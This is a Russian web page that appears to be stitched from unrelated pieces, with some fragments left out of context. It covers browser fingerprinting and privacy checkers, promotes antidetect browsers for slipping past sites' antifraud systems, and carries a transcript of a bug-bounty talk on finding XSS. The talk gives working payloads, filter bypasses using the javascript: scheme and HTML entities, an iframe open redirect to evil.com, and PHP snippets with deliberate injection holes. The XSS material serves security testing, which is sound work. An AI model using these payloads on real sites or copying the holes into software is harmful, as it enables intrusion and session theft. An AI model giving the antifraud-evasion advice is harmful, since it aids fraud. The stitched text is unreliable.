Фингерпринты

Фингерпринт устройства илиФингерпринт машины – это информация, собранная о программном и аппаратном обеспечении удаленного вычислительного устройства с целью идентификации.

Некоторые пользователи склонны считать, что использование режима инкогнито в браузере защищает от таких угроз, но это не так.

Приватный режим или режим инкогнито не является действительно приватным; он только не сохраняет файлы cookie или историю просмотров локально в браузере; однако эта информация все равно будет сохранена на посещаемом сайте.

Утечки Web RTC

Web RTC (Real-Time Communication). Web RTC стал прорывом для общения в реальном времени через Интернет.

Согласно веб-сайту Web RTC:

С помощью WebRTC вы можете добавить в свое приложение возможности коммуникации в реальном времени, которые работают на основе открытого стандарта. Он поддерживает передачу видео, голоса и общих данных между собеседниками, позволяя разработчикам создавать мощные решения для голосовой и видеосвязи.

см. более подробно:

🌐 Тестирование на утечку WebRTC – Как проверить и защититься

Просмотр через прокси-сервер

Бесплатные веб-прокси-серверы, как кажется, помогают повысить уровень конфиденциальности, передавая ваш веб-трафик через “анонимные” серверы.

Некоторые эксперты по безопасности обеспокоены тем, насколько это обеспечивает конфиденциальность, как уверяет Источник

Прокси могут оградить пользователя от открытого Интернета, но не от серверов, через которые проходит интернет-трафик.

Следовательно, использование вредоносного “бесплатного” веб-прокси, созданного для сбора пользовательских данных, может стать залогом катастрофы.

Вместо этого используйте премиум-прокси.

Как проверить безопасность браузера?

Тесты браузеров дают вам представление о том, сколько информации злоумышленник может получить у вас через браузер и что нужно сделать, чтобы оставаться защищенным.

Qualys BrowserCheck

BrowserCheck от Qualys выполняет быструю проверку вашего браузера на наличие отслеживающих файлов cookie и известных уязвимостей.

Cloudflare ESNI Checker

Cloudflare проводит быструю проверку DNS и стека TLS вашего браузера на наличие уязвимостей.

Privacy Analyzer

Privacy Analyzer сканирует ваш браузер на наличие лазеек конфиденциальности любого типа, включая анализ фингерпринтов.

Panopticlick

Panopticlick предлагает проверить наличие сторонних отслеживающих файлов cookie, а также предлагает расширение Chrome для блокировки дальнейшего отслеживания.

Webkay

Webkay позволяет быстро узнать, какую информацию охотно выдает ваш браузер.

Совместимость SSL/TLS

Проверьте, не подвержен ли ваш браузер уязвимостям TLS.

How’s My SSL?

Всесторонняя проверка уровня SSL в вашем браузере.

AmIUnique

AmIUnique проверяет, был ли фингерпринт вашего браузера в любом ранее собранном в мире.

Как усилить безопасность браузеров?

Вам нужно быть более активным в вопросах конфиденциальности и безопасности, поэтому необходимо знать, какие настройки безопасности имеются в браузере. Каждый браузер имеет настройки конфиденциальности и безопасности, которые предоставляют пользователю контроль над тем, какую информацию он может передавать веб-сайтам.

Вот небольшое руководство о том, какие настройки конфиденциальности следует установить в браузере.

  • Отправляйте на сайты запросы “Не отслеживать”
  • Блокируйте все сторонние файлы cookie
  • Отключите ActiveX и flash
  • Удалите все ненужные плагины и расширения
  • Установите расширения или аддоны для обеспечения конфиденциальности.
  • Используйте браузер, ориентированный на конфиденциальность, на мобильном или настольном компьютере.

Вы также можете рассмотреть возможность использования VPN премиум-класса, который обеспечивает невидимость в Интернете от трекеров, сканеров и всех видов регистраторов информации.

По-настоящему приватным в Интернете можно стать с помощью VPN.

Однако “бесплатные” VPN-сервисы имеют те же проблемы, что и бесплатные прокси-серверы: вы никогда не будете уверены в том, через какой веб-сервер проходит ваш трафик.

Отсюда возникает необходимость в надежном VPN-сервисе, который обеспечит гораздо лучшую безопасность.

  • Подменять настоящий цифровой отпечаток пользователя.
  • Сделать так, чтобы антифрод-системы сайтов не поняли, что человек меняет свой цифровой отпечаток.

И если с первой задачей все топовые браузеры справляются, то со второй возникают проблемы.

В этой статье мы коротко напомним, что такое цифровой отпечаток и приведем примеры сервисов, которые помогут поверить, насколько ваш антидетект браузер защищает ваши данные 🛡

Что такое цифровой отпечаток

Цифровой отпечаток(фингерпринт) — это данные, которые могут собирать системы посещаемых вами сайтов. Любое устройство, которое вы используете для выхода в интернет, имеет набор параметров: операционная система, тип и версия браузера, количество оперативной памяти, число ядер процессора, параметры экрана, язык, часовой пояс, и т.д.

По отдельности эти данные не представляют никакого интереса и никак не помогут идентифицировать вас. Например, то, что вы живете в Москве или вы используете русский язык, не является какой-то уникальной информацией. Но если собрать сотни таких параметров, все вместе они могут представлять уникальную комбинацию, которые помогут в будущем распознавать вас.

Больше узнать о цифровых отпечатках и как из маскировать можно в наших материалах:

  • Что такое фингерпринт браузера
  • Как выбрать антидетект браузер
  • 9 главных ошибок начинающих арбитражников при работе с Facebook

Чтобы скрывать свой настоящий цифровой отпечаток, пользователи используют специальные программы — антидетект-браузеры. С их помощью можно автоматически или вручную настроить нужные параметры устройства, чтобы выдавать себя за другого пользователя.

Как проверить надёжность антидетекта 🙌

Для этого в сети есть множества сервисов, которые проверяют данные вашего цифрового отпечатка. С их помощью можно:

  • Увидеть, как и какие ваши данные видят различные сайты и их защитные системы.
  • Найти уязвимости и внести изменения, чтобы цифровой отпечаток наверняка подходил под ваши задачи.

Все сканеры анализируют разные параметры и объём данных. Например, одни специализируются только на проверке IP, другие подробно анализируют каждый параметр вашего устройства.

Ниже мы собрали примеры таких сервисов:

Один из самых популярных сервисов для проверки цифровых отпечатков.

Перейдя на сайт, сервис автоматически покажет ваш:

  • IP
  • Провайдера,
  • Хост
  • Операционную систему
  • Браузер
  • DNS
  • Используете ли вы прокси или VPN

Ещё один популярный сканер, который показывает общие данные: видно ли, что вы меняете данные, ваш IP, местоположение, браузер и ОС.

Если общей информации недостаточно, можно посмотреть детальную информацию, которую видят сайты о вас: отпечатки самого устройства, шрифты, параметры экрана язык, часовой пояс и др.

Не такой популярный сервис, как Whoer и Pixelscan, хотя он показывает гораздо больше данных. Например, помимо данных браузера и подключения, он отражает:

  • Цифровой отпечаток вашего браузера
  • Useragent
  • Включённые и выключенные плагины

Сервис показывает максимально подробную информацию о том, какие данные проверяют различные сайты. Для каждой категории данных есть отдельная вкладка, в которой можно получить подробную информацию о вашем устройстве, браузере, местоположении и провайдере. Например, есть данные:

Здесь показывается подробная информация о вашем местоположении, языке, операторе и HTTP-заголовки.

В этой вкладке все данные по JavaScript браузера

Подробная информация о том, как передаются аудио, видео и контент от вашего устройства другим браузерам. Дополнительно в этой вкладке можно найти рекомендации по тому, как отключить WebRTC.

Canvas — это элемент HTML-5, которые используется для рисования графики на веб-страницах.

Шрифты — один из главных критериев, которые чаще всего выдают подмену фингерпринта. Связано это с тем, что у каждой операционной системы есть свои уникальные системные шрифты. При попытке выдать себя за пользователя macOS, хотя на самом деле вы заходите на сайт с Windows, антифрод-системы сайтов могут вычислить вас как раз из-за шрифтов.

В этой вкладке показывается, как работает ваш SSL-протокол.

Полезный сканер, который не только показывает ваши данные, но и насколько они уникальны. Это важный функционал для всех диджитал-специалистов, которые пытаются маскировать свои данные. Ведь главная задача — не выделиться или быть уникальным, а затеряться в общей массе обычных пользователей.

Этот сканер показывает базовые параметры, которые могут выдавать попытки пользователя скрыть свои данные. Из интересного, сканер отдельно показывает уровень заряда портативного устройства: телефона, ноутбука или планшета.

Сервис показывает все основные данные, которые анализируют защитные системы различных сайтов: гео, провайдер, WebRTC, HTTP-заголовки, параметры экрана, шрифты, Canvas, аудио и т.д.

Из интересного: есть функционал, который отражает, в каких соцсетях вы залогинины с конкретного браузера:

Сканер, который не только показывает данные, которые видят о вас защитные системы сайтов,

но и даёт полезные рекомендации о том, как эти данные правильно скрыть.

Этот сервис специализируется на проверке IP-адреса. В частности, с его помощью можно проверить, выявляют ли защитные системы сайтов прокси или VPN, которые вы используете или они определяются данные любого другого пользователя.

С помощью сервиса можно увидеть, определяют ли защитные системы сайтов, что вы используете блокировщики рекламы и антидетекты.

В этом сканере можно смотреть уровень траста(доверия) к данным вашего браузера.

Как и в случае с другими сканерами, для продвинутых пользователей есть опция дополнительной проверки отдельных параметров браузера.

Что делать, если на сканерах видно, что фингерпринт пытаются скрыть

Правда в том, что на данный момент пока ещё нет идеального антидетект браузера, который бы на 100% выдавал вас за реального пользователя. Это связано с тем, что по ряду параметров защитные системы видят, что человек пытается изменить данные. Например, это касается шрифтов, WebRTC, параметров исходного браузера и т.д.

Чтобы решить эту задачу, большинство топовых антидетект браузеров подбирают для вас фингерпринты, которые подойдут именно для вашего устройства. Например DolphinAnty, Dolphin{anty} использует только отпечатки реальных пользователей, с учётом сочетаемости всех внутренних параметров между собой. Это максимально приближает ваши данные к данным обычного пользователя. Более того, в сообществе антидетекта в телеграм пользователи и команда разработки активно обмениваются опытом, в т.ч. как работать с антиком, чтобы он маскировал данные.

Про XSS-уязвимости известно давным-давно — казалось бы, нужен ли миру ещё один материал о них? Но когда Иван Румак, занимающийся тестированием безопасности, поделился методологией их поиска на нашей конференции Heisenbug, реакция зрителей оказалась очень положительной.

И спустя два года у этого доклада по-прежнему растут просмотры и лайки, это один из самых востребованных материалов Heisenbug. Поэтому теперь мы решили, что многим будет полезна текстовая версия, и сделали ее для Хабра.

Под катом — и текст, и видео. Далее повествование идет от лица Ивана.

Обо мне

Я занимаюсь тестированием безопасности. По сути, занимаюсь всеми вопросами, связанными с безопасностью сайтов. Параллельно участвую в разных Bug Bounty, занимаю 110 место на платформе HackerOne, нахожу баги в Mail.ru, Яндексе, Google, Yahoo! и других крупных компаниях. Обучаю, консультирую, рассказываю про безопасность в вебе и не только.

История доклада

Когда я начал интересоваться безопасностью, то был тестировщиком и проверял функциональные баги, а не те, что связаны с безопасностью. Но я увлекся безопасностью и однажды стал самым прошаренным тестировщиком в этой сфере. Ко мне начали приходить другие тестировщики и разработчики. Я понял, что тестировщики тоже хотят научиться искать уязвимости, им это интересно, но при этом они не знают, что конкретно нужно делать.

Что такое XSS? Как искать? Как понимать, есть XSS или нет? Сейчас разберемся.

План

  • Что такое XSS-уязвимости

  • Методология поиска XSS (которой пользуюсь сам и с помощью которой нашел более 60 XSS в Bug Bounty за последний год)

  • Какую проверочную строку (пейлоад) использовать для поиска XSS-уязвимостей

  • Кейсы из разных Bug Bounty-программ (какие XSS были, как их можно найти, и баги, которые по методологии поиска похожи на поиск XSS)

Зачем искать уязвимости?

Вам — полезный навык, который никогда не будет лишним. Компании, где вы работаете — дополнительная безопасность. Win-win!

Что такое XSS

XSS (Cross-Site Scripting) — возможность выполнения произвольного JavaScript-кода в браузере жертвы в контексте вашего сайта.

Вспомним, как вызывается JavaScript из HTML:

<script>…</script> — всё, что внутри, будет срендерено браузером как JavaScript.

<img onerror="…" src="x">test</a> — можно использовать обработчики событий, то есть атрибут, например, onerror. Браузер попробует подгрузить картинку по источнику x. Если картинка не прогрузится, он выполнит то, что указано в обработчике событий.

<a href="javascript:…">click to trigger javascript</a> — если гиперссылка ведет не на схему HTTP/HTTPS, а начинается со схемы JavaScript, то при нажатии на ссылку всё, что после схемы JavaScript, будет срендерено как JavaScript.

<iframe src="javascript:…"> — то же самое, что и с гиперссылкой, только ничего не надо кликать, сработает при прогрузке.

XSS — одна из самых распространенных уязвимостей в вебе. К XSS уязвимо более 95% веб-приложений. Чтобы найти баг, не обязательно обладать специальными навыками, проходить курсы или получать высшее образование.

И действительно, несмотря на то, что XSS — распространенная уязвимость, она остается одной из самых серьезных клиентских уязвимостей.

Причины возникновения XSS

Во-первых, XSS возникает при генерации HTML-страницы, когда разработчику нужно поместить туда указанные пользователем данные (ФИО, организация). Если разработчик записал данные в БД, затем тянет ее в HTML-шаблон, то это stored (сохраненный) XSS.

Разработчику могут понадобиться параметры из URL или тела запроса. Такой тип XSS называется reflected.

Причин XSS куча, потому что есть динамические изменения страницы с помощью JS, есть события, которые постоянно происходят на клиентской стороне с JS.

Но в этом докладе я расскажу про самые распространенные типы — stored XSS и reflected XSS.

Возьмем пример — обычная страница ВКонтакте. О чем подумает человек, который хочет найти XSS-уязвимости?

Во-первых, он обратит внимание на то, что есть поля, можно куда-то зарегистрироваться и что-то ввести.

Попробуем ввести туда честные данные, но при этом добавим к ним <script></script>. Он нужен для вызова JavaScript между открывающим и закрывающим тегами.

Что произойдет в этом случае?

Мы, как пользователь, который хочет зарегистрироваться во ВКонтакте, заливаем ему наши проверочные строки. Дальше разработчик сохраняет их в базу данных, и с этими данными ему надо работать. Нужно показывать их пользователю на его странице, в личных сообщениях и много где еще. Дальше данные попадают пользователю в браузер, когда они возвращаются ему обратно.

Допустим, разработчик не подумал, что в качестве имени пользователя могут быть не только честные данные, а еще и HTML-теги, которые встраиваются в оригинальный HTML-шаблон. Браузеру пофиг, он рендерит все, что ему сказал разработчик, поэтому рендерится и строка.

Оно могло бы выстрелить где-нибудь здесь:

Конечно, во ВКонтакте такой уязвимости нет. Но, так как эта страница является публично доступной, любой в интернете может на нее зайти, то это была бы довольно серьезная уязвимость.

Но вообще мы, как тестировщики, которые ищут XSS-уязвимости, чаще всего делаем это блэкбоксом. Мы не знаем, что происходит на сервере, какая база данных там используется, делает ли разработчик что-то с этими данными. Всё, что у нас есть, — это поле, куда мы можем что-то ввести, и какие-то страницы, куда это потом возвращается.

Методология поиска XSS, которую я сейчас вам покажу, основана как раз на том, что мы не знаем, какие процессы происходят на сервере.

XSS-методология

  1. Помещаем пейлоад (проверочную строку, призванную выявлять уязвимости) во все поля и параметры.

  2. Смотрим в DOM на предмет санитизации.

  3. Рано или поздно спецсимволы не перекодируются, или выполнится функция alert.

  4. Раскручиваем дальше или репортим, как есть.

Еще один пример — страница поиска. В поле поиска попробуем ввести «qweqwe».

Поищем это в DOM:

F12 -> Ctrl +F -> “qweqwe”

Мы видим, что строка «qweqwe» попала из поля для поисков в параметр query. И она попала в страницу 17 раз. То есть у нас есть 17 потенциальных мест, где разработчик может не подумать о выводе этой строки пользователю в браузер, и может возникнуть XSS-уязвимость.

Конечно, «qweqwe» недостаточно, чтобы выявить XSS-уязвимость, мы добавим туда спецсимволы:

Input: qweqwe ‘ » > <

Посмотрим, что выведется в DOM:

Спецсимволы превратились в закодированный кусок символов. Это уже сигнализирует, что есть санитизация, возможно, неосознанная.

Но в девятом месте, где наша строка встраивается в DOM, спецсимволы на первый взгляд не перекодировались, то есть они отображаются здесь как есть.

Но если мы попробуем отредактировать это как HTML, то увидим, что двойная кавычка превратилась в &quot.

Это называется HTML entities. Особенность использования браузером этой кодировки заключается в том, что браузер рисует соответствующий символ на странице, но HTML-теги, состоящие из этих символов, не рендерятся браузером как код:

‘ — &apos;
“ — &quot;
> — &gt;
< — &lt;
& — &amp

Это выглядит вот так:

Слева у нас HTML-код, который должен отрендерить браузер, но он просто показывает его как строку.

Санитизация — преобразование определенных символов пользовательской строки в соответствующие HTML entities или другую кодировку.

Другими словами, у нас есть набор потенциально опасных символов, которые мы хотим санитизировать. Мы хотим их превратить в HTML entities, чтобы они не встраивались в наш изначальный шаблон, который мы хотим исполнять на пользователя, и нельзя было протолкнуть чужой JS.

Вернемся к этому примеру. Двойная кавычка заинкодилась в &quot, получается, санитизация есть.

А если бы не было? Мы попробуем ввести ‘ “ test, и поищем по строке «qweqwe»:

Input: qweqwe ‘ » test

F12 -> Ctrl +F -> “qweqwe”

Что мы увидим?

Мы увидим, что test начал подсвечиваться коричневым. Браузеры помогают нам: они подсвечивают атрибуты, значения атрибутов и названия тегов разными цветами. Атрибуты всегда коричневые, имена тегов — розовые, значения параметров — синие.

Если бы вся строка была синяя, мы могли бы сразу понять, что она попала внутрь значения атрибута, и можно было бы сделать вывод, что XSS нет.

Но здесь предположим, что она есть, и у нас записался атрибут test. И если мы вместо этого атрибута используем обработчик событий, например:

Input: qweqwe ‘ » onfocus=’alert()’ autofocus

Получаем reflected XSS:

Это сложно, поэтому я предложу решение в виде универсального пейлоада — это строка, которая должна выявлять XSS в разных контекстах и которая не требует дополнительного раскручивания в таких местах.

XSS – Level 0

Начнем с самой простой строки, на которую натыкались все, кто когда-то интересовался тестированием безопасности:

<script>alert()</script>

Посмотрим на примере языка PHP, когда я как разработчик хочу выводить пользователю HTML-код и подтягиваю туда значение параметра, в нашем случае — name:

<p>
Привет, <?php echo($_GET["name"]); ?>!
</p>

Функция echo() в PHP не делает санитизацию, она выводит всё как есть. То есть это типичная reflected XSS-уязвимость. И если мы поместим в параметр name на этой странице наш текущий пейлоад, он срендерится браузером, потому что никакой санитизации нет. Он встраивается как есть, браузер не отличает пользовательскую строку от оригинальной и рендерит.

/page.php?name=<script>alert()</script>

<p>
Привет, <script>alert()</script>!
</p>

То же самое, если разработчик не берет параметр из URL, а берет из базы данных данные, которые когда-то вводил пользователь:

<p>
Привет, <?php $sql=…; echo($sql); ?>!
</p>

<p>
Привет, Вася<script>alert()</script>!
</p>

Вот пример посложнее:

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">
</form>

Что, если мне надо брать значение параметра и отображать его внутри значения атрибута? Как меня могут хакнуть в этом случае?

<form action="page.php" method="POST">
<input name="name" value="<script>alert()</script>">
</form>

Если мы поместим туда наш <script>alert()</script>, разумеется, это не сработает. Даже если нет санитизации и вставка небезопасна, то <script>alert()</script> просто не выявит эту XSS-уязвимость, потому что нужно закрыть атрибут.

Мы закроем не только атрибут, но еще и тег <input>, куда мы попали, и встроим свой <script>alert()</script>, который отрендерится браузером:

/page.php?name="><script>alert()</script>

<form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">
</form>

И раз мы знаем, что есть кейсы, когда мы можем попасть внутрь значения атрибута, почему бы нам сразу не добавить "> в пейлоад?

XSS — Level 1

А если мне надо подставить пользовательское значение внутрь <title>? Подставим туда наш текущий пейлоад:

<html>
<head>
      <title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>

Это не сработает, потому что тег <title> нужен браузеру, чтобы отображать имя текущей вкладки. Браузер думает, что раз это всего лишь название вкладки, ему незачем рендерить значение этого тега, и он просто будет рендерить всё как текст.

Здесь нужно добавить </title> перед нашим вредоносным <script>alert()</script>.

/page.php?name="></title><script>alert()</script>

<html>
       <head>
              <title>Привет,"></title><script>alert()</script>
              </title>
        </head>
        <body>
        </body>
</html>

Таким образом мы закроем оригинальный <title>.

Раз мы знаем, что разработчик может подтянуть наши значения еще и внутрь тега <title>, почему бы сразу не добавить его в пейлоад и не вставлять этот пейлоад везде? Так мы попадаем сразу в несколько ситуаций.

Вроде звучит здорово, но если мы попали внутрь тега <script>:

<script>
var name="<?php echo($_GET["name"]); ?>";
</script>

Разработчик написал JavaScript, внедрил его у себя на страницу, но какую-то переменную берет из пользовательского значения. Поместим туда наш текущий пейлоад:

/page.php?name="></title><script>alert()</script>

<script>
var name=""></title><script>alert()</script>";
</script>

Всё не отработает до момента, когда мы закрыли </script>.

Здесь все тоже достаточно тривиально, просто закрываем тег разработчика <script>:

/page.php?name="></script></title><script>alert()</script>

<script>
var name=""></script></title><script>alert()</script>";
</script>

Я не буду дальше мучить вас каждым таким тегом.

На самом деле, надо закрывать еще и </style>, и </noscript>, и </textarea>, значения которых рендерятся браузером как строка.

XSS — Level 2

Помните, мы попадали внутрь значения атрибута, закрывали его, открывали <script>alert()</script>, чтобы выполнить функцию alert (), и мы использовали там двойную кавычку:

<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">
</form>

А мог ли разработчик обособлять все одинарными кавычками? Браузер это принимает, это вполне нормальное поведение. И если бы мы поместили туда наш текущий пейлоад, разумеется, он бы не сработал: он бы не обнаружил эту XSS-уязвимость, потому что мы закрываем двойную кавычку.

/page.php?name="></script></title><script>alert()</script>

<form action='page.php' method='POST'>
<input name='name' value='"></title></script><script>alert()</script>'>
</form>

Здесь тоже все просто: достаточно добавить одинарную кавычку перед двойной, и мы закроем и этот кейс.

<?php $a = str_replace('>', '&gt;', $_GET["name"]); ?>

<form action='page.php' method='POST'>
<input name='name' value='<?php echo($a) ?>'>!
</form>

А вот если разработчик подумал: «Я допускаю, что пользователь может использовать кавычки, но главное, что он не закрывает мой <input> и не открывает теги вроде <script>alert()</script>. Тогда я буду просто энкодить закрывающую угловую скобку, чтобы он не смог закрыть мой <input>».

Но если мы действительно попробуем закрыть <input> и открыть <script>alert()</script>, то ничего не сработает:

/page.php?name='><script>alert()</script>

<form action='page.php' method='POST'>
<input name='name' value=''&gt;<script&gt;alert()</script&gt;'>!
</form>

Здесь достаточно использовать обработчики событий:

/page.php?name='%20autofocus%20onfocus='alert();

<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>

Возможность писать свои атрибуты уже дает нам гарантированную XSS-уязвимость.

Когда мы попадали внутрь <script>, то закрывали его, открывали свой <script> и делали что-то внутри. А могли бы мы продолжить писать JS внутри JS, который написал разработчик? То есть продолжить его код, стараясь не вызвать синтаксическую ошибку. Да, могли бы:

/page.php?name=";+alert();//

<script>
var name=""; alert();//";
</script>

Есть еще случай, когда разработчику надо подставлять параметры внутрь гиперссылки:

<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>

Цель — редиректнуть пользователя туда, откуда он пришел. Например, пользователь пришел в приложение. Оно редиректит его на аутентификационный поддомен, и когда он аутентифицировался, этот поддомен должен редиректнуть его обратно в приложение.

Можно вызывать JS в гиперссылках, в том числе при редиректах, если использовать схему JS:

/page.php?returnUrl=javascript:alert()

<a href="javascript:alert()">Вернуться</a>

При нажатии на «Вернуться» сработает функция alert().

Если поставить перед javascript пробел, то это тоже сработает:

/page.php?returnUrl=%20javascript:alert()

<a href=" javascript:alert()">Вернуться</a>

Сработает не только %20 (пробел), но и %09 (табуляция).

Я покажу в качестве примера XSS, который я нашел на поддомене Mail.ru, — biz.mail.ru.

У них было приложение. Если вы получали на странице ошибку 500, вас редиректит на страницу с ошибкой 500 и кнопкой «Обновить». При этом передается параметр from. Это нужно затем, чтобы, когда пользователь перешел на страницу с ошибкой, он мог нажать кнопку «Обновить» и вернуться туда, где у него возникла ошибка (вдруг она была единичная).

Там передавался полный путь до страницы, и я попробовал вписать туда javascript:alert(). Но если строка начинается со слова javascript, то туда просто подставляется дефолтное значение HTTPS без mail.ru.

Но если поставить пробел (%20) перед словом javascript, регулярка Mail.ru не обрабатывает этот случай и, вполне возможно, выполняет произвольный JavaScript-код на поддомене Mail.ru.

Сценарий атаки: я бы просто скинул ссылку на эту ошибку 500 другому пользователю. И если бы он нажал кнопку «Обновить», у него бы сработал JS, который я захотел.

Подумаем, как разработчик вообще мог починить такую уязвимость. В случае с XSS мы можем просто санитизировать пользовательские специальные символы. Но в случае со схемой JavaScript это не сработает, потому что здесь немного другие символы.

Разработчик может подумать: «А что, если я буду требовать формат URL в том же параметре from

protocol://host:port/…

Используя синтаксис JavaScript, можно сделать пейлоад, который выглядит как URL, но также вызывает функцию alert() при нажатии:

<a href="javascript://qwe.com/%0aalert()">Вернуться</a>

Мы вызываем single line comment, комментим всё до переноса строки, переносим строку и выполняем наш alert(). Можно сконструировать такой пейлоад.

А это сработает, если запретить слово javascript в URL?

Как нам уже известно про HTML entity, браузер в некоторых местах использует эту кодировку неоднозначно. Если слово javascript: заэнкожено в HTML entity, при нажатии на эту ссылку браузер всё равно поймет, что HTML entity — это схема JavaScript, её тоже можно использовать.

<a href="javascri&#x7
0;t&colon;//qwe.com/%0aalert()">Вернуться</a>

javascript&colon; = javascript:

Таким образом мы обойдем защиту, если бы она была.

Единственный правильный способ здесь — это требовать, чтобы ссылка начиналась на http(s) или была относительной.

XSS — Level 3

Наш пейлоад довольно большой и попадает в несколько кейсов:

'"></title></script><script>alert()</script>

Мне не нравится, что мы вроде делаем крутой пейлоад, а используем <script>alert()</script> — самую нубскую вещь, которую можно найти в начале поиска XSS-уязвимостей.

Я предлагаю использовать iframe с обработчиком событий:

'"></title></script><iframe onload='alert``'>

<iframe> — тег для отображения страницы внутри страницы. Допустим, вы находитесь на каком-нибудь сайте и, если сайт хочет подгрузить в себя еще один сайт, то разработчик использует этот тег. Также там есть атрибут src — адрес до сайта, который он хочет показать у себя. И независимо от того, прогрузился путь или нет, onload будет работать всегда.

Плюсы iframe:

  • Легко заметить, если пейлоад встраивается в страницу, но на onload работают санитайзеры.

  • Есть волшебный аттрибут srcdoc:

<iframe srcdoc="<script>alert()</script>">

Разработчики используют iframe на всяких форумах, дают возможность пользователю помещать его на сайт, но если они не подумали про этот атрибут, то возможно выполнение произвольного JS.

Здесь в качестве значения атрибута srcdoc используется просто HTML entity:

  • Не раскрутить XSS — есть почти гарантированный open redirect.

Если у вас не получилось раскрутить XSS, например, разработчик решил, что хочет разрешить встраивать пользовательский iframe, но без обработчиков событий и без srcdoc, то у нас всё равно есть уязвимость другого типа — open redirect, пейлоад которого выглядит так:

<iframe src="https://avtohanter.ru/toplevel.html">

У нас есть iframe, его src указан на другую страницу в интернете, подконтрольную злоумышленнику. Содержимое этой страницы довольно простое — всего лишь скрипт, который задает top.window.location на другую страницу.

И если браузер срендерит это на каком-то сайте, произойдет редирект на https://evil.com.

У браузера есть иерархия окон, есть окно верхнего уровня и промежуточные окна. И iframe, который подгружается внутри сайта, является промежуточным окном, но при этом он может влиять на окно верхнего уровня. Он может переписать его top.window.location, и возникает уязвимость open redirect.

Лечится это атрибутом sandbox, но никто об этом не задумывается. Если есть разрешение устраивать пользовательский iframe, то таким пейлоадом можно редиректить других пользователей куда угодно.

XSS — Level 1337

Перейдем на суперхакерский уровень XSS-уязвимостей:

  • Пробелы между атрибутами в теге могут замениться слэшем. Тег необязательно закрывать!

<iframe/onload='alert()'

  • Браузеры закрывают теги за разработчиков.

Таким образом, исходя из этих двух фактов, мы можем прийти от такого пейлоада:

'"></title></script><iframe onload='alert``'>

К такому:

'"></title/</script/</style/><iframe/onload='alert``'

Поменяли все пробелы на слэш и убрали закрывающую скобку у iframe. Есть кейс, когда пейлоад попадает внутрь комментария (<!-- ... -->), нужно сразу закрыть его.

'"></title/</script/</style/--><iframe/onload='alert``'

Покажу еще один пример из Bug Bounty, он из приватной программы. Это XSS-уязвимость в личных сообщениях. Разработчики обрезали всё, что подходит под паттерн «<…>», чтобы защититься от XSS-уязвимостей. Если пошлем закрытый тег, он обрежется:

Однако, если мы пошлем незакрытый тег, то он отрендерится:

Фреймворки

Также есть разные фреймворки, например, клиентские AngularJS и VueJS.

Здесь тоже есть специфический пейлоад:

{{7*7}} —> 49

Если это посчиталось на клиентской стороне и превратилось в 49, то здесь тоже возможна XSS-уязвимость. Нужно использовать constructor.constructor и вызвать alert:

Пейлоад, конечно, зависит от версии AngularJS, поэтому нужно чекнуть версию и подобрать пейлоад из списка.

Как и в случае с прошлыми примерами HTML entity, для AngularJS не имеет значения, используются ли фигурные скобки или HTML entities. Если разработчик подумал: «Я использую AngularJS или VueJS и не хочу, чтобы мне вставляли фигурные скобки, буду их обрезать», то достаточно поместить HTML entity-представление, и браузер уже срендерит это как надо.

{{7*7}} -> 49

У VueJS пейлоад тот же самый.

Вот такой пейлоад получился:

‘»/test/></title/</script/</style/—>{{7*7}}<iframe/onload=’alert«'<!—

</title/</script/</style/</noscript/—>… — ситуативно

‘»/test/ — если можем записать свой атрибут (onerror, onmouseover, …)

{{7*7}} — AngularJS, VueJS

Этот пейлоад не покрывает случаи, когда мы попали внутрь тега <script>alert()</script>, и нам нужно не закрыть этот тег, а продолжать писать валидный JS (то есть без синтаксических ошибок). Если вы попали в функцию внутри функции внутри объекта, то вам нужно закрыть определенное количество фигурных скобок, нужно смотреть контекст. Универсального решения нет.

Но ведь есть много полиглот-пейлоадов. В чем отличия?

  • размер строки меньше, т. к. не предусматривает попадания туда, где нужно использовать схему JavaScript (ссылки);

  • включает проверку AngularJS, VueJS;

  • расширенное покрытие случаев с записью атрибутов.

Обычные полиглот-пейлоады используют onload=’alert()’, но у многих элементов нет такого события. В моем это:

‘»/test/></title/</script/</style/—>{{7*7}}<iframe/onload=’alert«'<!—

Если такой пейлоад небезопасно встроится в значение атрибута какого-то тега, то мы сможем выйти из значения атрибута и записать свой атрибут test.

Что это нам даст? JS-то вызовем, потому что мы знаем, что нам достаточно этого для вызова JS, но сразу мы этого не увидим. Поэтому я предлагаю добавлять такой код на каждую страницу, где вы ходите, через расширение:

if(document.querySelectorAll(‘*[test]’).length>0){
prompt(‘XSS’);
}

Дальше идем в DOM и смотрим, в какой элемент мы попали.

Пример:

Если мы выполним код, то получаем 1. Соответственно, если какой-то тег уязвим и мы записали туда свой атрибут, то можно дальше раскрутить это. Мы можем вместо test использовать onload или onmouseover, в зависимости от того, что поддерживает этот тег.

Можно внедрить этот код через расширение для браузера.

Почему XSS опасны?

У JS в браузере по умолчанию есть доступ к пользовательскому контенту:

DOM — это место, где JS может изменять HTML на стороне пользователя. JS может видеть через DOM всё, что вы видите у себя в интерфейсе в веб-приложениях.

Также у него есть доступ к LocalStorage и SessionStorage. Если разработчик хранит там сессионный ключ или другие данные для аутентификации, то JS легко может взять и потом послать его на другой вредоносный сервер.

Ни для кого не секрет, что куки — один из самых распространенных способов аутентификации в веб-приложениях. И у JS есть доступ к любым HTTP-ответам с этого же Origin. То есть, получив инъекцию в какой-то одной странице, мы можем вызвать любую другую страницу, на которой содержится чувствительная информация.

Например, сделаем запрос к странице b, где у нас есть API-ключи, и попросим вывести ответ:

Вместо страницы b могли быть данные для аутентификации или другие чувствительные данные.

JS может взаимодействовать с установленными программами и расширениями.

У JS есть экспериментальные технологии (Service Workers, Push API, …).

Безопасно ли, что у JS есть столько доступа ко всему?

Существует много вопросов, связанных с безопасностью. Разработчики браузера используют Origin для разграничения доступа JS между разными сайтами.

Origin = protocol + hostname + port

Также у браузеров есть Same-Origin-Policy (SOP) — фундаментальная защита, на которой основывается безопасность в вебе.

JS, выполняемый на одном Origin, не может получить доступ к содержимому другого Origin.

Можно сделать вывод, что XSS на одном Origin не опасен для другого Origin. У нас есть какой-нибудь поддомен, где можно выполнять пользовательский JS, потому что там не хостится ничего серьезного.

